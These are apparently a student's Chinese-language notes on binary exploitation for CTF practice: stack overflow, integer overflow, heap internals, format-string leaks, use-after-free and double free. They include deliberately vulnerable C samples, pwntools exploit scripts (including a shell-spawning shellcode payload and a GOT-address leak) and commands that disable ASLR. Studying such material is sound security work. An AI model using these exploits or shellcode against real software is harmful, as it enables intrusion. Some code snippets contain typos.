栈溢出漏洞基本原理

基本知识

栈溢出是缓冲区溢出的一种

缓冲区溢出是:一种长数据向小的缓冲区复制,导致数据超出了小缓冲区,导致其他的数据被破坏。这就是缓冲区溢出。

手法

1.先决条件,栈局部变量可控制,存在溢出(strcpy)

2.通过栈空间的布置,布置shellcode,并使用shellcode起始地址来覆盖栈帧的ret addr【返回地址】

3.Payload = [Nop sled + ] Shellcode + Pad + Shellcode’s Addr

但是:Shellcode地址在不同PC上不确定

来看一个有问题的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>

void vul_func()
{
char buf[64] = {0};
FILE *fp = NULL;

if(!(fp = fopen("input.txt","r")))
{
perror("fopen");
exit(-1);
}
fread(buf,1024,1,fp);
printf("data:%s\n",buf);
}
int main(int argc, char *argv[])
{
vul_func();
return 0;
}

fread时,指定的长度1024超过了buf尺寸。

输入数据长度可控,在input.txt中

可以精心操纵input.txt,对buf进行溢出布置shellcode、覆盖ret addr。

  1. 确定栈帧布局,计算出buf到ret addr的offset【偏移地址】
  2. 先对buf填充无效数据,通过调试找出buf的首地址并覆盖ret addr。
  3. 用一段shellcode填充buf,这段shellcode会弹一个shell
  4. IDA或者gdb找出buf距离ret addr的offset。
  5. gdb找出buf起始的地址。
  6. python –c ‘”A”76+”B”4+”\xdc\xee\xff\xbf”’ > input.txt
  7. 替换”A”*76为shellcode+pads

例子

pwnable.KR bof

【win10 虚拟机 2023.5.26- bof】

这个是一个32位的lunix下的一个文件

可以用IDA的,但是这里我们用r2 ,复习和巩固一下基础的用法。

进去先用aaa简单分析一下啊

image-20230526224439451

这里看到了又mian函数,看看mian函数

image-20230526224513452

这里main函数call 了 这个 sym.func 这个函数

image-20230526231828692

首先看到下面这个

1
cmp dword [arg_8h], 0xcafebabe

这里就是比较的地方

起始这里用IDA中的F5看起来要直观一点【我觉得,我可能功力不够】

image-20230526231940738

这里的

1
if ( a1 == 0xCAFEBABE )

也就是上面的cmp

从r2中可以看到这个get(s)的空间是:0x2c 也就是44

但是IDA中 get(s) char s[32]; // [esp+1Ch] [ebp-2Ch] BYREF

在IDA中看到是32 , 它和r2中的44 大小不一样,why?

很明显,这里r2中看的是汇编,但是在IDA中看到的是伪代码,伪代码中间把指针存放的大小没有考虑进去,所以我们需要看的是汇编中的代码

image-20230526232645012

这样一来就是0x2c了

然后下面要比较的字符串,占用的空间是8,所以我们需要溢出的空间是44+8=52

1
2
3
4
5
6
7
8
9
10
from pwn import *
context.log_level = 'debug'
p = process('./bof')

payload = b'a'*(44+8) + p64(0x0CAFEBABE)
#b'a'*(44+8) 这个地方是需要溢出的空间的大小
#p64(0x0CAFEBABE) 这个是那个比较函数的地址
p.sendline(payload)
p.interactive()

image-20230526234150173

【这里因为这个kali pwn 的环境一直搭不上…用的ubuntu】

2023.10.07 第一次复习,现在kalipwn环境好了。

官方payload

1
2
3
4
5
6
7
8
9
from pwn import *
context.log_level='debug'
p = process('./bof')
#p=remote("pwnable.kr",9000)
#print p.recvline()
payload=b'a'*52
payload+=p64(0xCAFEBABE)
p.sendline(payload)
p.interactive()

整数溢出的一本原理

基本知识

如果一个整数用来计算一些铭感数值,比如:缓冲区大小或数值索引就会参数一些可能的危险。通常情况下,整数溢出并没有改写额外的内存,不会直接导致任意代码执行,但是它会导致栈溢出和堆溢出,而后两者都会导致任意代码执行。由于整数溢出发生之后,很难被立即察觉,比较难用一个有效的方法去判断是否出现或者可能出现整数溢出

出现异常的三种情况

  1. 溢出:整数溢出需要和有符号的数才会溢出有符号数的最高位表示符号,在2个正数或者负数相加的时候,有可能改变符号位的值,产生溢出。溢出标志OF可检测有符号数的溢出
  2. 回绕:无符号数0-1的时候会变成最大的数字,比如1字节的无符号数会变成255,而255+1会变成最小数0。进位标志CF可检测无符号数的回绕
  3. 截断:将一个较大宽度的数存入一个宽度小的操作数中,高位就会发生截断

有符号整数

这一类整数用于表示正值、负值和零,范围取决于为该类型分配的位数及其表示方式(原码、反码、补码)。当有符号数的运算结果不能用结果类型表示时就会发生溢出,可以分为上溢出和下溢出两种。

  • 上溢出:往上的溢出
1
2
3
4
int i = 2147483647;
i++;

//i=-2147483648
  • 下溢出:往下的溢出
1
2
3
4
int i=-2147483648;
i--;

//i = 2147483647;

整数提升

是指:当计算表达式中包含了不同宽度的操作数的时,较小宽度的操作数会被提升到和较大操作数一样的宽度,然后再进行计算。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include<stdio.h>
void main() {
int l;
short s;
char c;
l = 0xabcddcba;
s = l;
c = l;
printf("宽度溢出\n");
printf("l = 0x%x (%d bits)\n", l, sizeof(l) * 8);
printf("s = 0x%x (%d bits)\n", s, sizeof(s) * 8);
printf("c = 0x%x (%d bits)\n", c, sizeof(c) * 8);
printf("整型提升\n");
printf("s + c = 0x%x (%d bits)\n", s+c, sizeof(s+c) * 8);
}

memcpy()函数

将src所指向的字符串中以src地址开始前n个字节复制到dest所指向的数组中,并且返回dest

1
2
#include <string.h>
viod *memcpy(void *dest, const void *src, size_t n);

strncpy()函数

从源src所指的内存地址的起始位置开始复制n个字节到目标dest所指的内存地址的起始位置中

1
2
#include <string.h>
char *strncpy(char *dest , const char *src , size_t n);

整数转换

如果攻击者给len赋予一个负数,则可以绕过if语句的检测,执行到memcpy()的时候,由于第三个参数是size_t类型,负数len会被转化为无符号整型,于是就变成了一个很大的正数。从而复制大量的内容到buf中,引发缓冲区溢出

1
2
3
4
5
6
7
8
9
10
char buf[80];
void vulnerable(){
int len = read_int_from_network();
char *p = read_string_from_network();
if(len>80){
error("length too large:bad god, no cookie for you");
return;
}
memcpy(buf,p,len);
}

回绕和溢出

当len过大的时候,len+5有可能发生回绕

比如,在x86-32上,如果len=0xFFFFFFFF,则len+5=0x00000004,这时malloc()只分配了4字节内存,然后在里面写入大量数据,就发生了缓冲区溢出。(如果将len声明为有符号int类型,len+5可能发生溢出)

1
2
3
4
5
6
7
void vulnerable(){
size_t len; //int len
char *buf;
len = read_int_from_network();
buf = malloc(len+5);
read(fd,buf,len);
}

这里是因为malloc 这个函数和前面的int len 发生了思想上的错误所导致的错误。

image-20230527011321973

截断

这个例子接受两个字符串类型的参数并计算总长度,程序分配足够的内存来存储拼接后的字符串。首先将第一个字符串复制到缓冲区,然后将第二个字符串连接到尾部。此时如果攻击者提供的两个字符串总长度无法用total表示,就会发生截断,从而导致后面的缓冲区溢出。

1
2
3
4
5
6
7
8
void main(int argc, char *argv[]){
unsigned short int total;
total = strlen(argv[1])+strlen(argv[2]) + 1;
char *buf = (char *)malloc(total);
strcopy(buf,argv[1]);
strcopy(buf,argv[2]);

}

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include<stdio.h>
#include<string.h>
void validate_passwd(char *passwd) {
char passwd_buf[11];
unsigned char passwd_len = strlen(passwd);
if(passwd_len >= 4 && passwd_len <= 8) {
printf("good!\n");
strcpy(passwd_buf, passwd);
} else {
printf("bad!\n");
}
}
int main(int argc, char *argv[]) {
validate_passwd(argv[1]);
}

上面这个程序,strlen()返回类型是size_t,却被储存在无符号字符串类型中,任意超过无符号字符串最大上上线值【256】的数据都会导致截断异常。当密码长度是261的时候,截断后的值就变成5,成功绕过了if判断,导致栈溢出。获得shell

解:

首先关闭这个地址

1
2
sudo su
echo 0 > /proc/sys/kernel/randomize_va_space

编译

1
gcc -g -fno-stack-protector -z execstack a.c

image-20230527012540397

1
2
3
4
5
6
7
8
from pwn import *
ret_addr = 0xffffcc68 # ebp = 0xffffcc58
shellcode = shellcraft.i386.sh()
payload = "A" * 24
payload += p32(ret_addr)
payload += "\x90" * 20
payload += asm(shellcode)
payload += "C" * 169 # 24 + 4 + 20 + 44 + 169 = 261

根本没明白….这个shellcode 是咋写出来的。我是直无语了

堆溢出漏洞基本原理

​ 堆(chunk)内存是一种允许程序在运行过程中动态分配和使用的内存区城。相比于栈内存和全局内存,堆内存没有固定的生命周期和围定的内存区域,程序可以动态地申请和释放不同大小的内在。被分配后,如果没有进行明确的释放操作,该堆内存区域都是一直有效的。

堆是程序虚拟内存中由低地址向高地址增长的线性区域。一般只有当用户向操作系统申请内存时,这片区域才会被内核分配出来,并且出于效率和页对齐的考虑,通常会分配相当大的连续内存。程序再次申请时便会从这片内存中分配,直到堆空间不能满足时才会再次增长。堆的位置一般在BSS段高地址处。

为了进行高效的堆内存分配、回收和管理,Glibc实现了Ptmalloc2的 堆管理器。主要介绍Ptmalloc2堆管理器缺陷的分析和利用。只介绍Glibc 2.25版本最基本的结构和概念,以及2.26版本的加入新特性,具体堆管理器的实现请读者根据Ptmalloc2源代码进行深入了解。

堆概述

堆一直以来都是pwn的一个分水岭,你在CTF走多远就取决于你堆玩的有多6

常用命令

1
2
3
4
5
6
heap #查看堆块
bin #查看bin区块
p &__free_hook #查看某个函数的真实地址
p *__free_hook #查看某个函数的指向
x/xxgx 0xxxx #查看某个地址的内存
vmmap

什么是堆

其实堆你就可以看成一个结构体数组,然后数组里每个元素都会开辟一块内存来存储数据

那么这块用来存储数据的内存就是堆。

结构体数组在BSS段上,其内容就是堆的地址,也就是堆的指针。

总的来说,就是划分为了2部分,管理区块和数据存放区块,存放区块就是堆,管理区块可以对堆增删改查

题型划分

off by one

off by null

堆溢出

UAF

double free

核心思想

其实无论什么题型,最后都是为了在管理区块上有多个指针指向同一个堆,最后的效果都是如此的

堆大小的计算方法

min:最小值为0x20 你申请的再小都好 他都会划分为0x20

堆块大小的计算方式:你申请一个0x20的你会得到0x30 0x28的也是会得到0x30 他会自动进1位

bin的划分

bin管理区块是管理被free后的堆的,是可以被我们利用的

tcache bins: 0-0x420大小 被free后的堆会进入这 填满7个后就不会再往里面填 寻址方式靠fd指针

large bin: 寻址方式靠fd bk指针 双向链表

small bin :寻址方式靠fd bk指针 双向链表

fast bin: 0~0x90寻址方式靠fd 指针 单链表

unsorted bin:寻址方式靠fd bk指针 双向链表

从bin取堆的优先度

tcache机制在Ubuntu18及以上才有,如果tcache里面有则优先从tcache里面取,如果没有就去对应大小的bin里面取,还是没有才去unsorted bin里面切割。

堆的字段讲解

1
2
3
4
5
pwndbg> x/32gx 0x602000
0x602000: prev_size size
0x602010: fd bk
0x602020: fd_next bk_next
0x602030: 0x0000000000000000 0x0000000000000000

在堆没被释放的时候堆的有效字段为size,size以下都是我们的content也就是我们可以写入的内容,大小根据程序来申请的size来决定

我们前面提到了一点堆的size的问题,为什么是取16的整数倍是因为哪怕最小的一个chunk他需要的字段都要包含

prev_size size

fd bk

fd_next bk_next是large bin 和small bin 才有的

size字段讲解

关于size字段他又存在一个insure标志位我们申请的正常的堆在gdb看见的size字段结尾都是1例如0x91

这个insure位是用来记录这个堆前面的堆是否被释放,这里简单提下off by null的利用假设我的堆本来是

0x111大小的然后前面的堆是没被释放的,但是因为这个漏洞的关系导致了我0x111大小被修改为0x100

那么此时程序就误认为我们前面的堆被释放了,我们再去释放这个0x100的堆,前面的堆就会因为合并规则

和这个堆一起被丢进bins里面,但是我们的管理区块是没有删除他们的地址的,所以当我们再去申请的时候

就会造成管理区块有多个地址指向同一个堆可以造成堆复用进而导致getshell。

fd bk prev_size的讲解

prev_size记录的是前一个堆块的大小 是只有当前一个堆块被free的时候才会出现的,这个的初衷是用来防止用户串改被释放后的堆块的大小的但是我们依然各种漏洞绕过。

fd,bk指针是当chunk进入到bin里面会被启用的字段,此时他们就是有效的指针,我们可以修改指针达到任意地址申请的效果

格式化字符串漏洞利用

格式化字符串漏洞基本原理

C语言中常用的格式化输出函数如下

1
2
3
int printf(const char *format);
int fprintf(FILE *stream, const char *format, ...);
int sprintf(char *str, const char *format, ...);
1
int snprintf(char)

两种用法类似,在C语言种,printf的常规用法:

1
2
printf("%S\n","hello world");
printf("number:%d\n",1);

其中,函数第一个参数带有%d、%s等占位符的字符串被称为格式化字符串,占位符用于指明输出的参数值如何格式化。

占位符的语法为:

1
%[parameter][flag][field width][.precision][length]type

parameter可以忽略或者为**n$**,n表示此占位符是传入的第几个参数。

flags可为0个或多个,主要包括:

  • +—总是表示有符号数值的’+’或’-‘,默认忽略正数的符号,仅适用于数值类型。
  • 空格—有符号数的输出如果没有正负号或者输出0个字符,则以1个空格作为前缀。
  • -—左对齐,默认是右对齐。
  • #—对于’g’与’G’,不删除尾部0以表示精度对于’f’、’F’、’e’、’E’、’g’、’G’,总是输出小数点;对于’o’、’x’、’X’,在非0数值前分别输出前缀0、0x和0X,表示数制。
  • 0—在宽度选项前,表示用0填充

field width给出显示数值的最小宽度,用于输出时填充固定宽度。实际输出字符的个数不足域宽时,根据左对齐或右对齐进行填充,负号解释为左对齐标志。如果域宽设置为“*”,则由对应的函数参数的值为当前域宽。

格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数

常见的有格式化字符串函数有:

  • 输入:
    • scanf
  • 输出
    • image-20230528133013753

漏洞利用

程序崩溃

只需要输入很多个%s就可

%s%s%s%s%s%s%s%s%s%s%s%s%s%s

这是因为栈上不可能每个值都对应了合法的地址,所以总是会有某个地址可以使得程序崩溃。

内存泄露

1
2
3
4
5
6
7
8
9
#include <stdio.h>
int main() {
char s[100];
int a = 1, b = 0x22222222, c = -1;
scanf("%s", s);
printf("%08x.%08x.%08x.%s\n", a, b, c, s);
printf(s);
return 0;
}

编译运行

image-20230528134648560

发现当输入%08x.%08x.%08x的时候就不对咯

gdb调试,下断点在printf处,然后运行输入:%08x.%08x.%08x

image-20230528135837332

可以看出,此时此时已经进入了 printf 函数中,栈中第一个变量为返回地址,第二个变量为格式化字符串的地址,第三个变量为 a 的值,第四个变量为 b 的值,第五个变量为 c 的值,第六个变量为我们输入的格式化字符串对应的地址。继续运行程序,断在了第二个printf处:

image-20230528135933469

此时,由于格式化字符串为 %x%x%x,所以,程序 会将栈上的 0xffffcd94 及其之后的数值分别作为第一,第二,第三个参数按照 int 型进行解析,分别输出。

image-20230528135957703

果然输出了栈中的内容

需要注意的是,我们上面给出的方法,都是依次获得栈中的每个参数,直接获取栈中被视为第 n+1 个参数的值:

1
**%n$x**

为什么这里要说是对应第 n+1 个参数呢?这是因为格式化参数里面的 n 指的是该格式化字符串对应的第n 个输出参数,那相对于输出函数来说,就是第 n+1 个参数了。

继续调试:

输入%3$x

我们确实获得了 printf 的第 4 个参数

获取栈变量对应字符串

调试输入%s

tips

  • 利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别。

  • 利用 %s 来获取变量所对应地址的内容,只不过有零截断。

  • 利用 %order$x 来获取指定参数的值,利用 %order$s 来获取指定参数对应地址的内容。

泄露任意地址内存

格式化字符串漏洞中,我们所读取的格式化字符串都是在栈上的(因为是某个函数的局部变量,本例中s 是 main 函数的局部变量)。那么也就是说,在调用输出函数的时候,其实,第一个数的值其实就是该格式化字符串的地址。

那么由于我们可以控制该格式化字符串,如果我们知道该格式化字符串在输出函数调用时是第几个参数,这里假设该格式化字符串相对函数调用为第 k 个参数。那我们就可以通过如下的方式来获取某个指定地址 addr 的内容。

1
addr%k$s

下面就是如何确定该格式化字符串为第几个参数的问题了,我们可以通过如下方式确定

1
[tag]%p%p%p%p%p%p...

输出函数的第 5 个参数,但是是格式化字符串的第 4 个参数。

通过传入got表地址,程序就会把got真实地址打印出来:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
sh = process('./leakmemory')
leakmemory = ELF('./leakmemory')
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%4$s'
print payload
gdb.attach(sh)
sh.sendline(payload)
sh.recvuntil('%4$s\n')
print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got
sh.interactive()

UAF和Double Free的利用原理

c代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <string.h>
int main()
{
char *p1;
p1 = (char *) malloc(sizeof(char)*10);//申请内存空间
memcpy(p1,"hello",10);
printf("p1 addr:%x,%s\n",p1,p1);
free(p1);//释放内存空间
char *p2;
p2 = (char *)malloc(sizeof(char)*10);//二次申请内存空间,与第一次大小相同,申请到了同一块内存
memcpy(p1,"world",10);//对内存进行修改
printf("p2 addr:%x,%s\n",p2,p1);//验证
return 0;
}

如上代码所示

1.指针p1申请内存,打印其地址值

2.然后释放p1

3.指针p2申请同样大小的内存,打印p2的地址,p1指针指向的值

image-20230528140649816

p1与p2地址相同,p1指针释放后,p2申请相同的大小的内存,操作系统会将之前给p1的地址分配给

p2,修改p2的值,p1也被修改了。

根本原因

应用程序调用free()释放内存时,如果内存块小于256kb,dlmalloc并不马上将内存块释放回内存,而是将内存块标记为空闲状态。这么做的原因有两个:一是内存块不一定能马上释放会内核(比如内存块不是位于堆顶端),二是供应用程序下次申请内存使用(这是主要原因)。当dlmalloc中空闲内存量达到一定值时dlmalloc才将空闲内存释放回内核。如果应用程序申请的内存大于256kb,dlmalloc调用mmap()向内核申请一块内存,返回返还给应用程序使用。如果应用程序释放的内存大于256kb,

dlmalloc马上调用munmap()释放内存。dlmalloc不会缓存大于256kb的内存块,因为这样的内存块太大了,最好不要长期占用这么大的内存资源。

简单讲就是第一次申请的内存空间在释放过后没有进行内存回收,导致下次申请内存的时候再次使用该内存块,使得以前的内存指针可以访问修改过的内存。

linxu堆漏洞之Double free

Double free:同一个指针指向的内存被free2次

Glibc背景知识

Linux下堆分配器主要由两个结构管理堆内存,一种是堆块头部形成的隐式链表,另一种是管理空闲堆块的显式链表(Glibc中的bins数据结构)。关于bins的介绍已经有很多,就不赘述了。接下来介绍一下Linux下Double free漏洞原理以及free函数的堆块合并过程。

Double free漏洞原理: free函数在释放堆块时,会通过隐式链表判断相邻前、后堆块是否为空闲堆块;如果堆块为空闲就会进行合并,然后利用Unlink机制将该空闲堆块从Unsorted bin中取下。如果用户精心构造的假堆块被Unlink,很容易导致一次固定地址写,然后转换为任意地址读写,从而控制程序的执行。

Linux free函数原理

由堆块头部形成的隐式链表可知,一个需释放堆块相邻的堆块有两个:前一个块(由当前块头指针加pre_size确定),后一个块(由当前块头指针加size确定)。从而,在合并堆块时会存在两种情况:向后合并、向前合并。当前一个块和当前块合并时,叫做向后合并。当后一个块和当前块合并时,叫做向前合并。

malloc.c int_free函数中相关代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/* Treat space at ptr + offset as a chunk */
/* check/set/clear inuse bits in known places */
(((mchunkptr)(((char \*) (p)) + (s)))->size& PREV_INUSE)
_int_free(mstate av, mchunkptr p, int have_lock)
{
...
/* consolidate backward \*/ // "向后合并"
if (!prev_inuse(p)) { //如果前一个块为空闲,则进行合并
prevsize = p->prev_size; //获得前一个块大小
size += prevsize; //合并后堆块大小
p = chunk_at_offset(p, -((long)prevsize)); //根据当前块指针和前一个块大小,确定前一个块位置,即合并后块位置
unlink(av, p, bck, fwd); //利用unlink从显式链表Unsorted
bin取下前一个块
}
nextchunk = chunk_at_offset(p, size); //根据当前块指针和当前块大小, 确定后一个块位置,
nextsize = chunksize(nextchunk); //获得后一个块大小
nextinuse = inuse_bit_at_offset(nextchunk, nextsize); //根据下一个块的下一个块的PREV_INUSE位,判断下一个块是否空闲
/* consolidate forward \*/ // "向前合并"
if (!nextinuse) { //如果后一个块为空闲,则进行合并
unlink(av, nextchunk, bck, fwd); //使用unlink将后一个块从unsorted
bin中取下
size += nextsize; //扩大当前块大小即可完成向前合并
}
else
clear_inuse_bit_at_offset(nextchunk, 0);
...
}

//由于unlink的危险性,添加了一些检测机制,完整版unlink宏如下

/* Take a chunk off a bin list */

1
...

Double free漏洞利用原理

以64位应用为例:如果在free一个指针指向的块时,由于堆溢出,将后一个块的块头改成如下格式:

  • fake_prevsize1 = 被释放块大小;
  • fake_size1 = 0x20 | 1 (fake_size1 = 0x20)
  • fake_fd = free@got.plt - 0x18
  • fake_bk = shellcode address
  • fake_prevsize2 = 0x20
  • fake_size2 = 0x10

如果chunk0被释放(fake_size1 = 0x21),进行空闲块合并时,1)由于前一个块非空闲,不会向后合并。2)根据chunk2判断后一个块chunk1空闲,向前合并,导致unlink。如果chunk1被释放(fake_size1 = 0x20),进行空闲块合并时,1)由于前一个块空闲,向后合并,导致unlink。2)根据chunk2判断后一个块chunk1空闲,向前合并,导致unlink。根据unlink宏知道, 前一个块 FD 指向 free@got.plt - 0x18, 后一个块 BK 指向 shellcode address。然后前一个块 FD 的bk指针即free@got.plt,值为shellcode address, 后一个块 BK 的 fd 指针即shellcode+ 0x10,值为 free@got.plt。从而实现了一次固定地址写。

image-20230528145046242

但是,由于当前glibc的加固检测机制,会检查显式链表中前一个块的fd与后一个块的bk是否都指向当前需要unlink的块。这样攻击者就无法替换chunk1(或chunk0)的fd与bk。相关代码如下:

1
2
if(__builtin_expect(FD->bk!=P||BK->fd!=P,0))
malloc_printerr(check_action,"corrupteddouble-linkedlist",P,AV)

针对这种情况,需要在内存中找到一个指向需要unlink块的指针,就可以绕过。